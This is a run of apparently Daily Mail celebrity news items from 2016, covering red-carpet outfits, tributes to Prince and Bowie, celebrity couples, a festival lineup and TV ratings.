Later in the evening, Tilda switched out of her all-white ensemble for something a little more disco chic at the post-screening drinks.

The striking star looked cool in a pink glittery jacket and loose-fitting trousers as she relaxed at the reception.

Party time! At the post-screening drinks reception, Tilda switched into a glitzy pink bomber jacket and trousers
This star has worn some envelope pushing looks over the years, but this time she kept it simple and came out on top because of it.

Sarah Jessica Parker rocked a very wearable look to a Tribeca Film Festival event on Thursday.

The 51-year-old stepped out at the ActuallySheCan short film series in New York and made understated style splash.

Simple style: Sarah Jessica Parker rocked a very wearable look to Tribeca Film Festival event, ActuallySheCan shirt film series, in New York on Thursday

The Sex And The City star provided style inspiration for everyday women everywhere as she headed out in a casual but still chic ensemble.

Sarah Jessica looked immaculate in a pair of washed out blue jeans which were cropped above the ankle.

The star then added a long sleeve grey knit top which she tucked into the top of the jeans making the look more polished and stopping her svelte shape being swallow up.

While she ditched it for her red carpet walk, the star arrived in a brown velvet jacket and pushed up her sleeves slightly so that her grey top protruded out from under it.

Denim perfection: Sarah Jessica looked immaculate in a pair of washed out blue jeans which were cropped above the ankle

Topping it off: The star then added a long sleeve grey knit top which she tucked into the top of the jeans making the look more polished and stopping her svelte shape being swallow up

Giving the casual look a red carpet boost, the star paired her ensemble with some metallic gold booties.

Sarah Jessica wore her golden ombre tresses in her go-to style of soft loose curls.

The Hocus Pocus star appeared to be in very good mood laughing away before she had even hit the red carpet.

Just a few hours earlier however, the actress joined the millions of Prince fans in expressing sadness at his passing.

Golden girl: Giving the casual look a red carpet boost, the star paired her ensemble with some metallic gold heeled booties

The actress posted two pictures of the icon - who was found dead at his Paisley Park home in Minnesota on Thursday aged 57 - and expressed what his music had meant to her.

Sarah Jessica wrote in a black and white image of the icon: 'No. Prince Rogers Nelson. R.I.P. You've been the soundtrack of so many lives. Terrible and sad news.'

On the second she captioned it simple 'godspeed'.
She's currently starring in The Color Purple on Broadway.

But that didn't stop Jennifer Hudson from organizing an impromptu on-stage remembrance of Prince on Thursday, which was filmed by some audience members.

The 34-year-old Dreamgirls star came out on stage with cast members and addressed the audience, sharing an anecdote about her meeting the pop superstar.

A grand gesture: Jennifer Hudson organized an impromptu on-stage remembrance of Prince on Thursday

Apparently still dressed for her role, the multi-talented star sported flared red trousers, a gold top and a small red coat with gold detailing.

She then proceeded to tell the audience about Prince's belief that 'his music will live on, and he will live through his music.'

'We want to keep him alive today with this song' she proclaimed, before bidding the audience to join the cast in singing the song.

Initially, her colleague took center stage, but Jennifer soon took the reigns and began belting out the famous lyrics.

Personal connection: The 34-year-old Dreamgirls star came out on stage with cast members and addressed the audience, sharing an anecdote about her meeting the pop superstar

Work clothes: Apparently still dressed for her role, the multi-talented star sported flared red trousers, a gold top and a small red coat with gold detailing

Leaving it all on stage: Initially, her colleague took center stage, but Jennifer soon took the reigns and began belting out the famous lyrics

Worth it: She started walking up and down the stage, eventually getting so into the performance she had to ditch her coat

On your feet! Upon completion, the crowd and her fellow cast members cheered uproariously

The crowd began swaying with the cast as Jennifer impressed with her amazing voice.

She started walking up and down the stage, eventually getting so into the performance she had to ditch her coat.

Upon completion, the crowd and her fellow cast members cheered uproariously.

It seemed that all of Broadway was mourning the deceased pop sensation, with the cast of Hamilton putting on a slightly more organized tribute of their own after their show.

A lot of love: It seemed that all of Broadway was mourning the fallen pop sensation, with the cast of Hamilton putting on a slightly more organized tribute of their own after their show

Words to live by: With the whole cast on stage, star Lin-Manuel Miranda read a few words before the group broke into Prince's Let's Go Crazy before finally artistically scattering

With the whole cast on stage, star Lin-Manuel Miranda read a few words before the group broke into Prince's Let's Go Crazy before finally artistically scattering.

It seemed Lin-Manuel took Prince's passing very personally, as he tweeted a response to his death to fans earlier on Thursday.

'Step away from your computer. Walk around, blast some Prince. Its the only thing that has saved my day, it may save yours.'
Susan Sarandon paid a moving tribute to ex-lover David Bowie and admitted with a giant grin that they used to smoke pot together.

The 69-year-old actress during an appearance on Watch What Happens: Live on Thursday was asked about her three-year affair with the late rock legend that started on their 1983 movie The Hunger.

The Thelma & Louise star initially seemed determined not to discuss her former flame, telling a viewer who asked her to describe the love affair: 'Absolutely not.'

Smoking out: Susan Sarandon gladly admitted to smoking pot with David Bowie during an appearance on Watch What Happens: Live on Thursday

But when host Andy Cohen asked 'what kind of guy was he?' the actress - with her leg in a brace and wearing a 'Call your Mother' T-shirt - warmed up with a heartfelt tribute to the rock legend who died in January aged 69.

'Oh brilliant, gracious, funny, ...private,' she said, explaining her initial refusal to discuss her time with him.

'Really smart. I loved the way that he kept changing up, he didn't do one thing. Pretty brave. When I knew him he was pretty stable, as opposed to early days maybe,' she added with a chuckle.

After adding that he was 'very productive,' she ended by saying he 'found a great love in Iman,' referring to his supermodel wife Iman Mohamed Abdulmajid.

Rock legend: The Oscar-winning actress talked about former boyfriend David Bowie who died in January

Former couple: Susan is shown with David Bowie in September 2006 in New York City

Susan had already happily spoken about her love for smoking marijuana, and when Andy asked if she had 'smoked it up with David Bowie,' she broke into a giant grin as she said happily: 'Yeah!'

The actress - who got a high five from Andy for her Bowie confession - also pretended to puff on a 'joint' during the show as she was asked about times she has lit up, admitting they included immediately after an Oscars, visiting a national monument, and at weddings.

'That wasn't lit, what's the fun in that?' she joked of the pretend joint.

Oscars smoke: The actress admitted to smoking pot immediately after an Oscars ceremony

In the clubhouse: Andy Cohen welcomed Susan and Rose Byrne to the show as they promoted their new movie The Meddler

She was later asked when someone should know when they have smoked too much pot, joking: 'I would say when you can't find the joint that you lit it's probably time to stop.'

Continuing her 'cool mom' segment of questions, she also said she is all for people getting tattoos.

'I have a number of them myself - I say put it somewhere that as you age it doesn't sag because otherwise it might turn into something else,' she advised.

The host: Chat show host Andy relayed questions from viewers with a drink in his hand

Andy was impressed that she even made her leg brace cool when she explained that she fractured her ankle 'falling down a mountain in Colombia.'

But Susan clearly thinks another actress is far cooler than her - her co-star from The Witches of Eastwick, Cher.

Calling her 'fantastic,' 'generous' and 'so funny,' she even revealed that her own hairstyle on parts of their movie together was one of Cher's wigs.

Broken ankle: Susan said she broke her ankle 'falling down a mountain in Colombia'

Cher story: The Witches Of Eastwick shared a favourite story about Cher

'She gave me the wig and she gave me a gold dress - they were all from Cher,' she said.

Asked about the 'most Cher-like thing Cher did on Witches,' she recalled how her co-star had managed to get out of working on a scene where she did not have many lines and where the attention was on Michelle Pfeiffer and Jack Nicholson.

'Cher said, ''Y'know, I really have a hard time being in a scene that's not about me'',' Susan revealed with clear awe. 'So we just took her lines and she got to go home.

Good times: Rose cracked up as Susan kept a straight face during their visit

'Y'know, nobody would say that but certainly everybody feels that way. Good for her to say it!,' Susan said.

But there is clearly still no love lost between her and Will & Grace star Debra Messing after their political feud on Twitter.

'Did I talk to her offline? No. It was enough to talk to her online,' she quipped about whether or not they had made up after the feud that was sparked after she claimed a headline wrongly suggested she supports Donald Trump for President.

No love lost: Susan still seemed to be irked by Debra Messing after their political feud on Twitter

Behind the bar: Draq versions of Selma & Louise were behind the bar

After initially insisting 'I don't blame Debra completely' for the spat, she said: 'Debra just has too much time on her hands, I don't know. She just kept going and going and going.

'So finally after a while I said to Debra, ''OK Debra, just report me to the homeroom teacher and let's just stop.''

'But she did not. And I haven't spoken to her since,' she added.

No complaints: Rose couldn't find fault with her Neighbors co-star Zac Efron during a game of Rose Burn

Film co-stars: Susan's character in The Meddler is the mother of Rose's character

Susan appeared on the chat show with new mom Rose Byrne, 36, who plays her daughter in their new movie The Meddler.

Both women were asked about their best onscreen kisses, with Susan looking still thrilled at the memory of her passions with Kevin Costner on Bull Durham, replying when Andy said he must have been a good kisser: 'I bet he's still OK'

Rose, however, diplomatically insisted her best kiss was with husband Bobby Cannavale

Best kiss: Rose went with her her husband Bobby Cannavale when asked about her best onscreen kiss

New movie: Susan and Rose can be seen together in The Meddler that opens on Friday
As one of Australia's most well-known fitness gurus, her workout regimen has become somewhat of a hot topic since she welcomed her first child last December.

But despite the pressure to snap back into her pre-baby form, Michelle Bridges, 45, has admitted that she has only just started getting back into working out.

Speaking exclusively to Daily Mail Australia at her Body Blitz event at Twitter Headquarters Sydney this week, the mother-of-one admitted: 'I'm only just starting to get back into my training after having the baby a few months ago.

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Slowly does it! Michelle Bridges, 45, has admitted that she has only just started getting back into working out

'I'm just taking it at my own pace.. I'm slowly getting there,' she continued.

On the topic of juggling her busy schedule with being a new mother, Michelle was refreshingly positive, simply saying: 'It's going really well'.

Michelle, who opted not to bring her cherubic baby to the Body Blitz event, also said with a cheeky smile: 'I didn't bring Axel today I think he's had enough of watching me workout'.

Taking her time: Speaking exclusively to Daily Mail Australia at her Body Blitz event at Twitter Headquarters Sydney this week, the mother-of-one admitted: 'I'm just getting back into working out after five months'

Doting: The 45-year-old welcomed her first child, Axel, in December

During Michelle's Body Blitz exercise class, fans were put through their paces as they performed a variety of strength and cardio training exercises, including squats, planks, lunging and high intensity running.

Michelle looked fabulous during the session, clad a figure-hugging ensemble consisting of black leggings and a grey racer-back singlet top with flattering black panels along the sides.

She completed her look with a pair of bright pink sneakers, simple stud earrings, a delicate silver necklace and a ring worn on her right hand.

Full throttle! During Michelle's Body Blitz exercise class, fans were put through their paces as they performed a variety of strength and cardio training exercises, including squats, planks, lunging and high intensity running

Sleek and chic: Michelle looked fabulous during the session, clad a figure-hugging ensemble consisting of black leggings and a grey racer-back singlet top with flattering black panels along the sides

Her mini-me! Speaking to the Daily Mail Australia in January, a gushing Michelle revealed that she often brought Axel along to her training sessions, saying: 'He comes to training, but not every time'

Speaking to the Daily Mail Australia in January, a gushing Michelle revealed that she often brought Axel along to her training sessions, saying: 'He comes to training, but not every time,'

'But definitely when we go out outdoors. We go on big long walks together. He has been to the gym with me a few times and he quite likes it,' she explained.

Although the professional trainer has 30-years of experience behind her, she came under fire for exercising during pregnancy, as well as posting a post-natal workout online.

Fun with mum! 'But definitely when we go out outdoors. We go on big long walks together. He has been to the gym with me a few times and he quite likes it,' she explained

Despite online trolls taking to her social media and writing damaging and hurtful comments, Michelle said she was 'feeling fine'.

'I think you will see in my book [Make It Happen] that I have a fairly strong emotional resilience,' she told Daily Mail Australia.

'I know who I am, I know who I stand for and I have this little baby and life is good,' she concluded.

Rubbing people the wrong way: Although the professional trainer has 30-years of experience behind her, she came under fire for exercising during pregnancy, as well as posting a post-natal workout online

Water off a duck's back: Despite online trolls taking to her social media and writing damaging and hurtful comments, Michelle said she was 'feeling fine'

Michelle and her long-time beau Steve 'Commando' Willis welcomed their son on December 19.

She later announced the news with fans on social media, writing: 'We are thrilled to welcome our little boy into the world. Axel Bridges Willis born 19/12/15. Healthy and happy,' she wrote.

In 2007 she made her onscreen debut on Channel Ten's The Biggest Loser, identifying an opportunity for her to reach out to the Australian population who weren't regular users of the gym.

Holding her own: 'I know who I am, I know who I stand for and I have this little baby and life is good,' she concluded

Growing family: Michelle and her long-time beau Steve 'The Commando' Willis welcomed their son on December 19

Since then, she has released a slew of self-help and recipe books, launched her wildly-popular 12-Week Body Transformation fitness regimen and has launched her very own active-wear line with retailer Big W.

In February this year, Michelle added another feather to her cap with she announced that she had joined The Sunday Telegraph's pull-out magazine Body And Soul as a regular columnist.

Michelle's partner and fellow The Biggest Loser trainer Steve 'The Commando' Willis has also been added to the magazine's pool of regular columnists.

Gushing new mother: She later announced the news with fans on social media, writing: 'We are thrilled to welcome our little boy into the world. Axel Bridges Willis born 19/12/15. Healthy and happy,' she wrote

Newest gig! In February this year, Michelle added another feather to her cap with she announced that she had joined The Sunday Telegraph's pull-out magazine Body And Soul as a regular columnist

Speaking to The Daily Telegraph in February, Michelle said: 'My column will only ever be about empowering people, giving them some tools. Some of the tools they will love and put in their tool room, some they will hate, and that is fine'.

Indeed, Michelle has had her fair share of negative feedback in the past, with the trainer having most recently copped backlash after she told ABC's Australian Story that: she is yet to 'meet someone who is morbidly obese and happy'.

Comedian and radio host Chrissie Swan hit back at Michelle's comment earlier this week during her NOVA radio show, saying: 'Michelle Bridges last night on Australian Story said that she's never met a happy fat person, and yet mysteriously I have met her many times,'

Speaking to The Daily Telegraph in February, Michelle said: 'My column will only ever be about empowering people, giving them some tools. Some of the tools they will love and put in their tool room, some they will hate, and that is fine'

Controversy: Indeed, Michelle has had her fair share of negative feedback in the past, with the trainer having most recently copped backlash after she told ABC's Australian Story that: she is yet to 'meet someone who is morbidly obese and happy'

Not happy: Comedian and radio host Chrissie Swan hit back at Michelle's comment earlier this week during her NOVA radio show, saying: 'Michelle Bridges last night on Australian Story said that she's never met a happy fat person, and yet mysteriously I have met her many times'

'Hi, Michelle, if you are listening. Remember me? I've known you for years. We have met many, many times,'

The fitness guru is known as Australia's most influential health expert, and was last year named on the BRW rich list of self-made women.

Meanwhile, KIIS 101.1's Meshel reckoned that while the personal trainer's remarks may reflect the feelings of her clients, they don't represent society as a whole.
They ditched their life in the UK for the glitz and glamour of Los Angeles last year.

And James Corden and wife Julia Carey have clearly had no trouble settling into the Hollywood way of living as they dined together at celebrity hot-spot Craig's restaurant on Thursday evening.

The couple enjoyed an intimate date night at the upscale eatery, just hours before the 37-year-old host took his chair on the set of the Late Late Show, where he would go on to interview the all-star cast of The Huntsman: Winter's War.

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Dinner date: James Corden and wife Julia Carey have clearly had no trouble settling into the Hollywood way of life as they dined together at celebrity hotspot Craig's restaurant on Thursday evening

Julia opted for a smart casual ensemble for the dinner date, rocking a billowing sheer blouse with a slightly plunging neckline, atop of which was a navy blazer with a lined hem.

She paired her stylish combination with distressed grey jeans, which conceded at the ankle and boasted a freyed hem.

Scalloped black sandals and a black leather sidebag completed the TV producer's chic look.

Smitten kittens! The couple enjoyed an intimate date night at the upscale eatery, just hours before the 37-year-old host took his chair on the set of the Late Late Show

James - who is always sharp-suited when hosting The Late Late Show - cut a more casual figure for their romantic outing in a black polo neck and jeans.

The Gavin and Stacey star didn't look to be travelling light as he toted a sizable backpack as he departed the restaurant alongside the pretty blonde.

The dinner date looked to be calm before the storm as James' later recording of The late Late Show proved to be quite the raucous affair.

Fashionista: Julia opted for a smart casual ensemble for the dinner date, rocking a billowing sheer blouse with a slightly plunging neckline, atop of which was a navy blazer with a lined hem

Pared-back: James - who is always sharp-suited when hosting The Late Late Show - cut a more casual figure for their romantic outing in a black polo neck and jeans

Charlize Theron, Chris Hemsworth, Jessica Chastain, and Emily Blunt appeared together on the episode to promote their new new fantasy adventure film and showed off their silly sides in the process.

The group constantly teased each other, sang along with the host and even performed two separate dances.

Chris, 32, then played a ping pong game he usually plays with his two famous brothers - letting James fire balls into his back before finally getting his revenge by stinging the hosts bottom with a shot of his own.

Showtime: James welcomed the Hollywood stars to his studio in Los Angeles
She usually leaves no stone unturned in a bid to look glamorous.

However, Megan McKenna made quite the beauty malfunction as she touched down at Heathrow Airport on Friday, sporting obvious tan lines around her eyes.

It seemed the 23-year-old Essex native had left her sunglasses on for a large amount of time whilst sunbathing on her Miami getaway.

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Oops! Megan McKenna, 23, made quite the beauty malfunction as she touched down at Heathrow Airport on Friday, sporting obvious tan lines around her eyes

The week-long, sun-drenched holiday saw Megan take to Instagram to share a variety of skimpy bikini shots.

While the rays topped up her already bronzed skin, her face was somewhat of a different story, with two obvious pale rings around her eyes.

The reality star seemed unfazed by the tanning disaster, however, and looked excited at the prospect of heading home.

Wearing the same outfit, Megan was in much higher spirits the day earlier.

Pictured as she prepared to head to the airport, she was pretty in pink as she donned laid back attire.

Reality star turned A lister: The Essex-born star wore her statement shades even inside the airport terminal

From Miami to Essex! Megan opted to ditch the glamour on Thursday as she headed to Miami airport

Strike a pose: Despite her laid back look, the 23-year-old reality TV star was sure to show off the ensemble

Always ready for a photo opportunity, Megan was on top form as she struck several poses while waiting for her ride to the airport.

Hiding behind a pair of large blacked out shades, McKenna wore a fitted tracksuit with a pair of Christian Louboutin trainers.

Clutching a nude leather handbag, the brunette wore her tresses loose as she focused her attention on her phone.

Dressed down: Megan was pretty in a pink fitted tracksuit teamed with trainers and a leather handbag

Keeping up to date: McKenna had her attention firmly fixed on her phone as she prepared to fly home

The reality star will no doubt be looking forward to seeing her new beau Pete Wicks upon her return to Essex as the previous day she shared a photo of the pair online.

Uploading a shot to Instagram, she wrote: 'Looking forward to seeing this f**ker tomorrow.'

While Megan has been in Miami, Pete has been 500 miles away on a boys' holiday to the Mexican Riviera resort of Cancun with co-star James Locke.

Always ready for a photo opportunity: McKenna gave a picture perfect pout as she adjusted her shades

And she's off! Megan beamed as she headed into a seven seater for her ride to the airport

The pair started seeing each other last month after Megan joined the cast of TOWIE.

McKenna is no stranger to reality shows having previously starred in Celebrity Big Brother, Ex On The Beach, X Factor and Britain's Got Talent.

She's hoping to establish herself as a pop star, having recently teased fans with photos of herself in a recording studio.
She may be based thousands of kilometres away from her Australian home.

But Ashley Hart, 26, may as well have been kicking back Down Under as she spent time with her gang of fellow Australian starlets at at Hollywood hot-spot Spartina on Thursday.

Joined by actresses Stephanie McIntosh, Teresa Palmer and Amber Lestrange as well as Extra host Renee Bargh, Ashley was a picture of happiness as she posed for a candid Instagram snap.

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Just like home! Australian beauties Ashley Hart, 26, Teresa Palmer and Renee Bargh hung out in Los Angeles on Thursday

'Full Moon Goddess Gang', wrote Ashley in the caption as she and her famous friends sat at an out-door table.

Ashley was dressed in a breezy diaphanous frock emblazoned with a leaf print, while her flaxen hair was left to hang in loose waves by her shoulders.

Stephanie followed suit by sharing her own photo of the girls pulling wide grins as they posed over the table.

'These gals.. Good for the soul': Renee also shared a similar photo of the girls' evening of merriment

Renee also shared a similar photo of the girls' evening of merriment, captioning the candid snap with: 'These gals.. Good for the soul.'

In Renee's photo, the Australian natives are all seen enjoying an animated giggle over a series of half-consumed drinks.

Later, Teresa also shared a photo from the evening's romp, this time featuring the girls posing arm-in-arm.

Feeling the love! Stephanie followed suit by sharing her own photo of the girls pulling wide grins as they posed over the table

'Find your tribe. I love mine', Teresa wrote in the caption as she posed in a black-and-white frock.

Meanwhile, Renee looked chic in an off-the-shoulder floral dress which was cinched in with a black waist belt.

Amber appeared to have taken a sartorial risk by donning a pair of silver trousers paired with a white Tee-shrit and black bolera.

Stephanie opted for a casual look, wearing a black Tee-shirt with a turtleneck and blue jeans fastened with a black belt.
She famously hit out at female celebrities for showing a little too much on social media.

And Rashida Jones, 40, led by her own example on Thursday, cutting a classy figure in a shimmering metallic blazer at the Refugee exhibit at the Annenberg Space For Photography in Los Angeles on Thursday.

The actress's striking patterned jacket was worn with the collar popped and covered her plunging ankle-length black dress.

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Chic! Rashida Jones, 40, cut a classy figure in a shimmering metallic blazer at the Refugee exhibit at the Annenberg Space For Photography in Los Angeles on Thursday

The pretty brunette styled her hair in a cute bob with her fringe resting just above her eyebrows.

Rashida happily posed for pictures on the red carpet, looking radiant as she produced a wide close-mouthed smile.

Her make-up perfectly complemented the chic nature of her look, with her green peepers framed with lashings of mascara and eyeliner, and her lips given a slick of pale matte lipstick.

Class act: The actress's striking patterned jacket was worn with the collar popped and covered her plunging ankle-length black dress

She's not camera shy: Rashida happily posed for pictures on the red carpet, looking radiant as she produced a wide close-mouthed smile

The Office star joined up with gal pals including Emilia Clarke, Amy Adams, Kristin Bell and Kristin Davis inside the exhibit.

Game of Thrones favourite Emilia put on a very busty display in a plunging semi-sheer ensemble which showed off her ample assets.

Meanwhile, Amy looked stunning in a plain blue midi-dress which worked well with her thick red locks.

Famous friends: The Office star joined up with gal pals including Emilia Clarke, Amy Adams, Kristin Bell and Kristin Davis inside the exhibit

The powerful exhibit features photography from five renowned artists exploring the lives of refugees from around the world.

Explaining the reason behind the exhibit, the Annenberg Space for Photography site says: 'With the number of displaced people having reached some 60 million globally, according to UNHCR, the UN refugess agency, this timely exhibition allows audiences to engage with aspects of the plight of refugees not previously encountered, and to reflect on a full range of refugee experiences through singular images.

'The compelling exhibit offers visitors insight into the plight of refugees, including their efforts to survive, their needs, their dreams and their hopes for a better future.'
Their awkward breakup photo-shoot in a recent women's magazine attracted harsh criticism.

And while he defends making the announcement of his split from Louise Pillidge in the press, former Bachelor Blake Garvey has finally conceded that the accompanying photographs were ever so slightly unusual.

Taking to Instagram this week as fans reeled from the news, he said that both he and his former girlfriend felt awkward while posing for New Idea magazine.

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Speaking out: Former Bachelor Blake Garvey has admitted that he felt awkward while posing for photographs with his ex-girlfriend Louise Pillidge in a magazine spread to announce their split

Claiming that even the photographer on hand was uncomfortable, Blake said the photoshoot was a non-negotiable condition of the exclusive deal.

Daily Mail Australia has contacted the publication for its comment.

Writing in response to one comment which slammed their interview, he defended their decision to speak about the split.

'We've learnt from past mistakes that the less you say, the more you get hounded, and the more fake stories that get made up'.

It's over: The pair, who met on The Bachelor, have been together for 18 months but announced their split this week

'Unfortunately it was a pre-requisite': The Perth-based auctioneer implied that he had no choice but to do the photo-shoot for New Idea

Announcement: The pair announced their split in last week's issue of New Idea magazine (above)

'We've just taken the front foot for a change, done eacj interview on each medium, and now we're done with it all completely'.

'Completely agree with you on the photoshoot though- both of us and even the photographer felt awkward! Unfortunately it was a pre-requisite', he concluded.

He and Louise announced their breakup on Monday to New Idea after 18 months together.

'We've just taken the front foot for a change': Responding to a comment left by an Instagram fan, Blake revealed that he and Louise decided to be proactive about announcing their break-up news

Splitsville: He and Louise announced their breakup on Monday to New Idea after 18 months together

They got together in unusual circumstances when Blake ditched chosen one Sam Frost on the Bachelor show insisting he had made a mistake and was in love with Louise Pillidge whom he had earlier rejected.

He told the magazine he and Louise could not work out their differences after undergoing three months of counselling saying: 'We were walking on eggshells around each other, always trying to say the right thing'.

She added: 'It feels surreal and since then I have gone through so many emotions. Ive been crying, numb and angry'.

'We were walking on eggshells around each other, always trying to say the right thing': He told the magazine he and Louise could not work out their differences after undergoing three months of counselling

In an emotional interview with Today Tonight, the auctioneer from Perth, who is still living with blogger Louise, 28, said persistent public scrutiny followed their relationship and affected their mental health.

Speaking with tears in his eyes, Blake said: 'Ive gone through bouts of depression and I know weve both gone through some acute anxiety,' as Louise reassuringly rubs his leg.

He went on: 'You get looks and you know that youre starting a series of conversations in the room just because youve entered it. That and many [other] factors make you really self conscious.'
It's set to be one of the funniest films of the year when it hits cinemas this summer.

Sure to be packed with scenes that will have fans in stitches Alesha Dixon, Dawn French and Lily Cole are the latest stars to join the cast of Absolutely Fabulous: The Movie.

In new stills for the upcoming motion picture, Dixon brings the glamour while Dawn and Cole appear to be having an awkward chat.

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Bringing the glamour: Alesha Dixon has been revealed as the latest star to give a cameo appearance in Absolutely Fabulous: The Movie

Providing the laughter: Dawn French and model Lily Cole have also joined the celebrity line-up for the comedy

While it's unclear what Alesha's appearance in the film entails, one thing that is for sure is that it's a showstopper.

In the frame, Dixon, 31, is seen beaming from ear to ear as she models as stunning semi sheer sequinned one sleeved gown.

Meanwhile, Dawn, who also serve as executive producers on the flick, and Lily are far more casual.

With French pulls as pouts, Cole has a concerned look plastered on her face.

I'll drink to that! Daisy Lowe takes the plunge in black while Lara Stone takes it easy with a glass of champagne

Friends in high places: Stella McCartney is seen consoling Eddie (Jennifer Saunders) in another frame

Models unite: Jourdan Dunn, Suki Waterhouse and Alexa Chung also help to bring the wow factor to the highly anticipated comedy film

Definitely one to watch the Ab Fab film sees Jennifer Saunders and Joanna Lumley reunite as their alter-egos Patsy and Eddie.

The film, which has been promised since 2011, sets out to prove that the duo are still living the high life; shopping, drinking and clubbing their way around Londons trendiest hotspots.

Though in an uncharacteristic fall from grace, Patsy and Eddy find themselves embroiled in a media storm when they're blamed for a 'major incident' at a fashion launch party.

With paparazzi constantly on their tail, they flee to the French Riviera and without any money, hatch a plan to make their escape permanent.

Serving up some serious sass! Dame Joan Collins also looked fabulous as she sat poolside

Diving in on the action: Barry Humphries aka Dame Edna Everage also makes an appearance

Champagne darling? Supermodel Kate Moss was first captured shooting scenes back in November 2015

Something to shout about! Lulu donned a sporty ensemble as she chatted with Bubble (Jane Horrocks)

Cameos include supermodel Kate Moss, but the cast also sees Julia Sawalha return as Saffy, Jane Horrocks as Bubble and June Whitfield as Mother.

Abbey Clancy, Barry Humphries aka Dame Edna Everage, Ella Eyre, Foxes, Graham Norton, Gwendoline Christie, Jeremy Paxman, Jerry Hall, Dame Joan Collins, Ozwald Boateng, Pam Hogg, Perez Hilton, Rylan Clark, Tinie Tempah and Wanda Ventham also have some screen time.

As well as starring in the film, Saunders wrote the script, which was directed by Mandie Fletcher, produced by Jon Plowman and Damian Jones.

The film hits cinemas in the UK on July 1, 2016 with US and Australia release dates of July 22 and August 11, respectively.
Music festival Splendour In The Grass sold out in just 90 minutes on Thursday, leaving thousands of unlucky punters empty-handed.

Now, the popular event has appeased it's frenzied fans by releasing a star-studded lineup of side-shows which will take place around Australia this July.

Splendour In The Grass headliners James Blake and At The Drive In will play two and four extra shows respectively, while The 1975, Santigold, The Internet and The Kills will also take the stage for sideshow appearances.

Star-studded lineup! Splendour In The Grass has announced its list of sideshows for this year, including headliner James Blake (pictured)

Other acts playing sideshows include The 1975, Santigold, The Internet, The Kills, Mark Lanegan Band, Snakeships, Crystal Fighters, Leon Bridges, Fat White Family, Lapsley and Peter, Bjorn and John.

Jake Bugg will play with Blossoms, Jack Garratt will team up with Kacy Hill and Beach Slang and Spring King will be on the same bill for their sideshows.

On Thursday, fans were sent into meltdown when ticket seller Moshtix directed customers to an online green room in order to purchase tickets.

More shows: American band At The Drive In (pictured) will also play four sideshow gigs around Australia during the popular music festival

Fans complained that they were left waiting for an inordinate period of time, with some even complaining that they had missed out on tickets despite logging on to Moshtix earlier.

'Due to the massive interest in this event you will have to hang back here for a bit,' read a message from Moshtix posted on the site.

'There is a lot of ppl attempting to access #SITG2016 tix at the same time. Hang in there, stay cool and follow the instructions!' the Splendour in the Grass Twitter account posted just 10 minutes after tickets went on sale.

Tickets selling like hotcakes! Meanwhile, Music festival Splendour In The Grass sold out in just 90 minutes on Thursday, leaving thousands of unlucky punters empty-handed

This year's festival at Byron Bay will also host performances from Aussie crowd-pleasers Flume and Courtney Barnett, US hard rockers At The Drive-In.

Others filling out the strong Aussie line-up include Hermitude, Violent Soho, Matt Corby and Boy and Bear.

Splendour In The Grass will take place at the North Byron Parklands from July 22-24.
As one of Australia's most well-known animal activists, it's no surprise that Bindi Irwin, 17, made sure to celebrate Earth Day on Friday.

And in honour of the joyous occasion, Bindi took to Instagram with a video of herself and boyfriend Chandler Powell enjoying a trip to one of the Irwin family's conversation properties in Western Queensland.

Bindi and Chandler, who have been dating for nearly a year, appeared loved-up as ever as they spoke animatedly to the camera as they sat together on the back of a truck.

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Loved-up! Bindi Irwin celebrated Earth Day on Friday by sharing a video of herself and boyfriend Chandler Powell enjoying a trip to one of the Irwin family's conversation properties in Western Queensland

In the caption, Bindi wrote: 'So now that you can post full videos on Instagram, here's one of my favourites. A couple of you guys asked about the full video, it makes me smile every time I watch it'.

'So! In honour of Earth Day 2016 here's our adventure in Western Queensland on one of our conservation properties, with my amazing little family'.

'Thanks for always putting up with my random videos @chandlerpowell' she quipped.

Happy memories! In the caption, Bindi wrote: 'So now that you can post full videos on Instagram, here's one of my favourites'

Fans were quick to shower Bindi and her beau with compliments, with one writing: 'You two are so sweet together!'

'Bindi, your dad would be so proud of you. You're such a beautiful young woman, inside and out', gushed another.

Last week, Bindi shared a throwback collage of photos taken from the evening she and Chandler attended his high school dance in 2015.

'I felt like I was living in a movie': Bindi Irwin shared a throwback collage of when she went to The Prom with her boyfriend Chandler Powell (pictured with her mother Terri and brother Robert (pictured top left) on Friday

'We don't really have Prom in Australia but this wonderful human being is American and when his Prom came around he invited me to Florida to go with him,' she wrote in the caption.

'I can't believe this really happened, I felt like I was living in a movie and was a real life Disney princess. Gosh I'm blessed. Thank you Chandler Powell it meant the world to me.'

The wildlife warrior was dressed in a pretty black lacy frock with sheer lace sleeves and a balloon skirt with contrasting fabric panels.

Teen romance: Bindi and Chandler went public with their relationship in July last year on Bindi's 17th birthday

Going the distance: The teenagers have been in a long-distance relationship, with Bindi residing on the Sunshine Coast at Australia Zoo and Chandler in the southernmost US state of Florida

Her cheery beau, meanwhile, looked dapper in a black suit with a bright blue tie and neither of them could wipe the smiles of the faces as they posed for photos.

Also joining the cute couple for snaps before the event was Bindi's mother Terri, 51, and Bindi's younger brother Robert, 12.

The teenagers have been in a long-distance relationship, with Bindi residing on the Sunshine Coast at Australia Zoo and Chandler in the southernmost US state of Florida.

'It's wonderful to have someone so brilliant in your life': Despite being separated geographically, Bindi is absolutely besotted with her wake-boarding beau

Speaking to Daily Mail Australia at the AACTA Awards in Sydney in December, Bindi reflected on her relationship with Chandler.

'Long distance is challenging every now and then but it's wonderful to have someone so brilliant in your life,' she explained.

When asked whether she would consider moving to the US to be with her teenage love, Bindi admitted that she couldn't see herself leaving her Down Under homeland.

'I think the States are wonderful because they are like a second home, I mean my mum's originally from Oregon, but home for me is Australia Zoo.'
It has enjoyed large audiences throughout the year.

And as it nears its grand finale, My Kitchen Rules is apparently on track to be crowned the most watched show of 2016.

According to The Daily Telegraph, the show has drawn in more viewers than any other programme since the beginning of the year.

Domination: My Kitchen Rules dominates the ratings - a 16 per cent increase from when the show began in 2010

The newspaper reports it has averaged 1.55million viewers per episode, a 16 per cent increase since its 2010 debut.

Speaking about the show's success, MKR executive producer Rikkie Proost told the publication: 'We have the best finalists across any season this year. We put a lot of time and care into getting the cast mix right.'

In recent weeks the show has triumphed over rivals, pulling in an average audience of 1.4million viewers since the start of this month.

Its most recent episode on Thursday attracted 1.3million viewers, making it the most viewed show of the day ahead of Seven News (1million), Home and Away (750,000) and The Project (450,000).

See more on My Kitchen Rules as it dominates ratings as the 'most watched show of 2016'

'It's the best experience of our lives': Zana Pali breaks down in tears upon hearing she and her husband Gianni Romano have been eliminated from My Kitchen Rules

